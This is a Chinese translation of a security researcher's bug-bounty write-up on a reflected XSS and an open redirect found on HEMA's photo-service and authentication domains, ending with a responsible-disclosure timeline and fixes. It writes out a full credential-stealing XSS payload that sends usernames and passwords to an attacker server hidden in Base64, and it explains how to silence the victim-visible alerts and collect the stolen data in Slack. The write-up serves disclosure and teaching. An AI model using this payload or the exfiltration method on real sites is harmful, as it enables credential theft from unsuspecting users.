HEMA网站反射型XSS漏洞分析与利用实战

本文详细分析了HEMA网站存在的反射型XSS漏洞,从侦察发现到payload构造全过程,包含绕过安全限制的技巧,最终实现凭证窃取并通过Slack通道接收泄露数据的技术细节。

反射型XSS在fotoservice.hema.nl的发现与分析 | Jonathan Bouman

概念验证:浏览器上方显示攻击效果,下方私人Slack频道展示窃取的凭证信息。

背景

反射型XSS漏洞非常有趣:它们无处不在,如果精心构造注入载荷,其影响可能非常重大。今天我们将尝试找到一个反射型XSS漏洞并为其定制专用载荷。在此过程中我们会遇到某些限制并找到合适的解决方法。

Hema.nl

HEMA是荷兰最不可或缺的品牌之一,以其香肠、苹果派和遍布荷兰的杂货店而闻名。

反射型XSS漏洞?

但是,我们被允许搜索其资产中的漏洞吗?让我们查看英文免责声明。太好了,我们被允许寻找漏洞并报告它们,甚至可能获得奖励。查看荷兰语免责声明;内容相同但有关可能奖励的更多细节。

可能奖励:“美味的HEMA苹果派!”

所以我们可能赢得HEMA香肠和苹果派;让我们看看是否能够将漏洞转化为这些奖励!

侦察,从何处开始?

作为客户,我计划今天订购一些照片打印。这可能是发现HEMA使用的不同域的好方法。我们打开Burp Suite(社区版即可)并开始拦截到HEMA.nl服务器的流量。

有时我通过枚举子域开始侦察,有时我只是从主网站开始寻找页面和(隐藏)功能。Burp Suite在创建站点地图和扫描可能漏洞方面提供了巨大帮助。

让我们在Burp Suite中启动新项目,配置它并激活一些有趣的扩展!

启动Burp Suite并将其配置为仅捕获HEMA.nl流量

仔细观察你会看到我最喜欢的两个扩展:Param Miner和Paramalyzer。

Param Miner帮助您发现查询字符串和POST正文中的隐藏参数。它将在问题活动列表中报告任何找到的参数。

Paramalyzer通过创建目标使用的所有不同参数的站点地图来帮助您;想象一下共享特定变量(如userId)的所有端点列表。它帮助您可视化不同端点之间的关系。

我欠第一个扩展的作者James ‘albinowax’ Kettle很多啤酒和HEMA香肠/苹果派。在过去6个月中,该扩展帮助我发现了至少70多个漏洞;其中一些导致了高额回报。James,如果你正在阅读本文,请联系我获取阿姆斯特丹的精酿啤酒!

手动站点地图

那么,回到正事,回到赚取我们美味的HEMA苹果派。我们现在已经运行并正确配置了Burp Suite。

有些人可能建议使用Burpsuite爬虫功能创建自动站点地图。我更喜欢首先手动爬网站点;这有助于我理解站点的功能以及不同子域和端点的使用。

在开始之前,不要忘记将Chrome浏览器配置为使用Burp Suite作为代理。我使用SwitchyOmega Chrome扩展来轻松切换代理设置。

创建站点地图的一部分

假设我们想要订购一些照片打印并看看会发生什么:

Hema.nl顶部菜单将“照片服务”项链接到https://foto.hema.nl/,这是用于其照片业务的子域。

在寻找漏洞时,寻找模式总是好的。考虑URL中使用的参数、外部加载的子域以及站点本身的视觉差异。通过仅寻找hema.nl和foto.hema.nl之间的视觉差异,我发现在用户菜单(右上角)有所不同。它现在提供了一个指向“我的照片项目”的链接。

用户菜单之间的差异,出现了一个允许您管理照片项目的链接

让我们点击它,当然我们想要自己的新照片项目。加载的下一页是https://foto.hema.nl/mijn-hema/fotoprojecten/,该页面包含不同的按钮,这些按钮链接到auth.hema.digital的某个身份验证端点。糟糕。我们没有在Burp Suite的初始设置目标范围中捕获该域。让我们将此域添加到我们的范围!

指向用于身份验证的外部域的链接。让我们将其添加到Burp Suite目标范围。

奖励 #1:auth.hema.digital的开放重定向漏洞

如果我们仔细观察,会注意到两个查询字符串参数:delegation_url和token。每当您看到包含字符URL的参数时,请系好安全带。如果我们能够操纵URL,我们可能使用它来创建开放重定向(在目标域上创建重定向到我们网站的URL,完美用于网络钓鱼)或有时甚至是服务器端远程伪造(SSRF;让攻击者的服务器渲染我们提供的URL,绕过防火墙并允许您查找内部服务器)。

原始请求(审查了我的access_code)。

让我们将URL更改为Protozoan.nl,看看位置标头是否随我们自己的域更改。

宾果!开放重定向漏洞。收入囊中,这值得HEMA香肠或苹果派吗?

从响应中我们可以看到,我们已成功将自己的URL注入端点https://auth.hema.digital/delegate,现在可以创建一个便于用于网络钓鱼的URL。有经验的读者还会建议这对于访问代码泄露是完美的(或者在Twitter上大喊:“永远不要烧掉开放重定向,它完美用于将其他漏洞链接成关键漏洞!账户接管!”)。然而,auth.hema.digital/delegate本身需要(秘密)令牌,所以我不确定如何升级它。请在评论中分享您的想法,我们稍后可能会分享一个苹果派!

原始重定向转到 https://fotoservice.hema.nl/user/login.html?targetPage=https%3A%2F%2Ffotoservice.hema.nl%2Fcis%2Fitems.html%3Faccess_code%3Dcensored_code

反射型XSS

另一个参数targetPage,包含一个URL!再次系好安全带。我们必须检查页面源代码并检查此参数的值如何反映在源代码中。我们今天可能很幸运。

探测targetPage参数以寻找可能导致反射型XSS漏洞的值。

这里我们有Burp Suite Repeater,允许我们轻松尝试不同的值。重要的是要注意,此参数的值反映在脚本标签块内部。我们需要找到一种方法来跳出window.location.href=‘反射参数值’字符串,以便我们提供的JavaScript代码将在受害者的浏览器中执行。

如果仔细观察,您可以看到我采取的步骤,直到最终找到执行注入代码的方法。

胜利步骤

  1. 注入’以关闭字符串,失败(它被URL编码)。如果有效,您的载荷可能是’+alert(1)+’
  2. 注入以关闭脚本标签块,失败(某些防火墙拒绝我们的请求)。如果有效,您的载荷可能是值(%3c%2f%73%63%72%69%70%74%3e),失败(不再反射)
  3. 注入载荷<,>或%2F以发现服务器如何反应,失败,它拒绝此类字符
  4. 删除URL的起始部分,成功!它将我们的输入重写为/user/‘反射参数值’,现在没有任何URL编码。我们的’现在被渲染而不是%27。接下来是快速枚举可能用于创建强大载荷的不同字符。枚举字符{ } ( ) ; < >,我们发现可以在注入中安全使用( ) ;字符。
  5. 我们为概念验证创建了(不)著名的alert(1)载荷。

我们能够操纵的handleLogin函数在成功登录后触发。让我们发挥创意。我已经在远处闻到了HEMA香肠和苹果派的味道!

最终载荷

这次我们从最终载荷开始,并逐步剖析它以理解其工作原理。该载荷允许我们窃取受害者的用户名和密码,将其发送到攻击者的私人Slack频道,之后我们将用户重定向到常规HEMA页面,以便我们的受害者完全不会注意到任何情况。

它只需要我们诱骗受害者打开包含此特定载荷的URL。

载荷URL:https://fotoservice.hema.nl/user/login.html?targetPage=%27;w=%27%23%27;window.stop();alert(%27Proof-of-Concept-by-Jonathan-Bouman%27);document.images[0].src=atob(%aHR0cHM6Ly95b3VyLW93bi1ibGluZC14c3Mtc2VydmVyL2hlbWEv/%27)%2bloginForm.login.value%2b%27%3a%27%2bloginForm.password.value;alert(%27Stolen-password%3a%27%2bloginForm.password.value%2b%27.Now-redirect-user.%27);setTimeout(%27window.location.href=window.location.hostname%27,3000);%27

最终窃取密码的载荷(审查了攻击者服务器的URL)

请查看屏幕左侧部分,显示请求。我们的载荷在targetPage=查询参数之后立即开始。

首先有%27;,(%27是’的URL编码)它关闭字符串并以;结束行

w=%27%23%27;部分很有趣,它在javascript载荷本身中没有用处。然而,它向URL添加了#,并且如果targetPage参数值包含字符串中的#,服务器端代码的行为会有所不同。如果我们向URL添加#,我们被允许在载荷中使用[]字符(步骤5所必需),否则整个字符串在遇到[]字符时将被剥离。我是如何发现这一点的?只是通过尝试载荷中所有不同的字符组合。有人知道为什么会发生这种情况吗?请在下面留言!

window.stop()是一个全局javascript函数,允许我们停止最初发起到页面/user/的重定向。如果我们不停止重定向,浏览器将没有时间将凭证泄露到我们的服务器。

添加alert以便我们可以获得一些视觉反馈,表明我们的载荷已触发。

document.images[0].src允许我们更改实际文档中加载的第一个图像的源。它将使用我们定义的新源重新加载图像。这是将数据从浏览器泄露到外部托管域的完美方式。我们可以将随机图像的源指向由我们控制的服务器。

=atob(%27aHR0cHM6Ly95b3VyLW93bi1ibGluZC14c3Mtc2VydmVyL2hlbWEv%27)%2bloginForm.login.value%2b%27%3a%27%2bloginForm.password.value; 定义图像将尝试加载的URL。如果我们将填写的密码和用户名添加到此URL会怎样?这是窃取用户数据的好方法!我们可以轻松地在服务器上嗅探请求的URL,或者更好的是,将数据转发到我们的私人Slack频道。atob()是一个解码Base64编码字符串的函数。我经常使用它来隐藏可疑的字符串,并绕过检查某些字符(如://@#{}<>,)的防火墙,因为Base64仅由字母和数字组成。解码后的字符串是https://yourblindxss.server/hema/?,我们将通过指向其ID + .value来添加用户名字段的内容,这导致loginForm.login.value和loginForm.password.value

alert(%27Stolen-password%3a%27%2bloginForm.password.value%2b%27.Now-redirect-user.%27);,一个小的警报弹出窗口,显示被盗密码,非常适合我们的概念验证视频。

setTimeout(%27window.location.href=window.location.hostname%27,3000);%27将在3秒后将用户重定向到当前主机名(fotoservice.hema.nl)。

从载荷中删除所有警报,没有人知道密码被盗。

将XSS数据发送到您自己的私人Slack频道

如果我们的载荷触发时收到推送通知并接收泄露的数据,那不是很好吗?我同意,这对于概念验证来说太棒了!前往https://github.com/mazen160/xless并按照说明设置您自己的服务器和Slack频道。此工具允许您快速部署自己的盲XSS服务器。

概念验证

上方Chrome浏览器加载反射型XSS载荷。下方Slack频道监听泄露的用户凭证。

限制

用户需要加载包含我们载荷的URL。我们的反射型XSS代码仅在用户成功登录时触发。

讨论

HEMA是处理负责任披露的一个很好的例子。他们有适当编写的披露声明,乐于接收错误报告(电子邮件回复友好且快速),最后但同样重要的是,用适当的苹果派奖励您,在某些情况下还有礼品卡/金钱。

为什么要攻击可能处于困境的公司?COVID-19在2020年第一季度袭来,他们的债权人存在/存在问题。有些人可能会说:“别管他们!”

在我看来,如果客户数据处于危险之中,公司的情况并不重要;越早发现和解决漏洞对每个人都越好。保护客户数据符合每个人的利益。如果公司处理得当,对所有各方都是双赢的;公司避免了潜在的泄露,客户数据受到保护,通过发布报告,公众被告知公司正在认真对待漏洞。HEMA,继续努力!

结论

我们演示了auth.hema.digital域中的开放重定向漏洞和fotoservice.hema.nl域中的反射型XSS漏洞。攻击者可能使用这些漏洞从被诱骗打开包含我们载荷的URL的用户那里窃取凭证。

解决方案

开放重定向漏洞可以通过使用URL白名单来解决。反射型XSS漏洞可以通过适当编码或转义所有用户输入来解决,白名单可能是另一个选项。

奖励

€100 HEMA礼品卡 + 奖金(报告5个反射型XSS漏洞、1个SQL注入漏洞和许多其他漏洞的奖励)。

我们现在可以轻松转换为香肠或……的礼品卡。

一个美味的苹果派!

免责声明:在研究此漏洞期间没有动物受到伤害。

时间线

  • 08–05–20 发现反射型XSS漏洞 #1 和开放重定向漏洞
  • 09–05–20 发现反射型XSS漏洞 #2、#3、#4 和 #5
  • 09–05–20 编写报告并通过电子邮件与HEMA共享草案
  • 11–05–20 HEMA回复电子邮件并确认漏洞
  • 11–05–20 发现SQL注入漏洞,向HEMA发送新报告
  • 14–05–20 HEMA奖励€100 HEMA礼品卡
  • 15–05–20 HEMA通知我漏洞现已解决
  • 17–05–20 确认2个修复,但2个漏洞仍未解决/被绕过
  • 18–05–20 HEMA请求供应商更新
  • 26–05–20 HEMA通知我新修复现已部署
  • 26–05–20 确认1个修复,1个漏洞仍未解决/被绕过
  • 27–05–20 HEMA通知我新漏洞修复已部署
  • 27–05–20 确认漏洞修复,发现开放重定向漏洞的绕过
  • 02–06–20 HEMA通知我新修复现已部署
  • 04–06–20 确认开放重定向的新修复
  • 05–06–20 HEMA奖励我所有努力的奖金
  • 06–08–20 修订报告,发布报告

漏洞赏金

XSS攻击

安全

渗透测试

道德黑客

70773

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计